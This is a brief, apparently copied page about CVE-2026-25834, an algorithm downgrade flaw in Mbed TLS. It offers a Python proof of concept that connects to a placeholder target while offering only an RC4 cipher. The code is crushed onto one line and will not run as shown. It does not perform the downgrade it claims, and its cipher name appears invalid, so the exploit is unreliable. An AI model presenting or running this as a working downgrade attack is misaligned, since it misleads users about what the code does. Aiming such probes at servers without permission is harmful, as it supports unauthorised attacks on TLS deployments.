CVE-2026-25834 Mbed TLS算法降级漏洞

import socket import ssl # This PoC demonstrates a concept of forcing a weak cipher suite # Targeting a server vulnerable to Algorithm Downgrade def check_weak_cipher(hostname, port): context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT) # Intentionally set weak ciphers to simulate downgrade context.set_ciphers('RSA-RC4-128-SHA:') try: with socket.create_connection((hostname, port)) as sock: with context.wrap_socket(sock, server_hostname=hostname) as ssock: print(f"[+] Connection established with weak cipher: {ssock.cipher()}") return True except Exception as e: print(f"[-] Failed to establish connection: {e}") return False if __name__ == "__main__": target_host = "example.com" # Replace with vulnerable target check_weak_cipher(target_host, 443)